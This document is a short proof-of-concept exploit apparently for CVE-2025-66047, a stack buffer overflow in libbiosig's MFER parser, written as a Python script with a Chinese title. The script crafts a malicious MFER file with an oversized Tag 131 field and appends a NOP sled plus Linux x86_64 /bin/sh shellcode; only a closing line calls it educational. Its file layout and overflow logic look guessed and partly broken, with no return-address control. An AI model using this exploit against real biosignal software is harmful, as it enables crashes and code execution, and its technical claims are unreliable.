CVE-2025-66047 libbiosig MFER解析栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-66047 PoC - libbiosig MFER Stack Buffer Overflow This PoC generates a malicious MFER file to trigger the stack-based buffer overflow when Tag is 131 in the MFER parsing functionality. """ import struct import sys def create_malicious_mfer(): """Generate a malicious MFER file with oversized Tag 131 data.""" # MFER file header mfer_data = b'MFER' # Magic number mfer_data += struct.pack('<I', 1) # Version mfer_data += struct.pack('<I', 256) # Block size # Craft Tag 131 with oversized data to trigger overflow # Tag 131 in MFER format typically expects small data # We overflow the stack buffer by providing large data tag_id = 131 # Create data larger than typical stack buffer (e.g., 1024 bytes) overflow_size = 1024 tag_data = b'A' * overflow_size # Tag structure: [Tag ID (2 bytes)][Length (4 bytes)][Data] mfer_data += struct.pack('<H', tag_id) # Tag ID mfer_data += struct.pack('<I', overflow_size) # Length mfer_data += tag_data # Malicious payload # Add shellcode placeholder for code execution # NOP sled + simple execve shellcode (Linux x86_64) shellcode = b'\x90' * 50 # NOP sled shellcode += b'\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05' # /bin/sh shellcode # Append shellcode after overflow mfer_data += shellcode return mfer_data def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <output_file.mfer>") print("Generates a PoC MFER file for CVE-2025-66047") sys.exit(1) output_file = sys.argv[1] mfer_content = create_malicious_mfer() with open(output_file, 'wb') as f: f.write(mfer_content) print(f"[+] Created malicious MFER file: {output_file}") print(f"[+] File size: {len(mfer_content)} bytes") print(f"[+] Overflow size: 1024 bytes at Tag 131") print("\n[!] WARNING: This PoC is for educational and security research purposes only.") if __name__ == '__main__': main()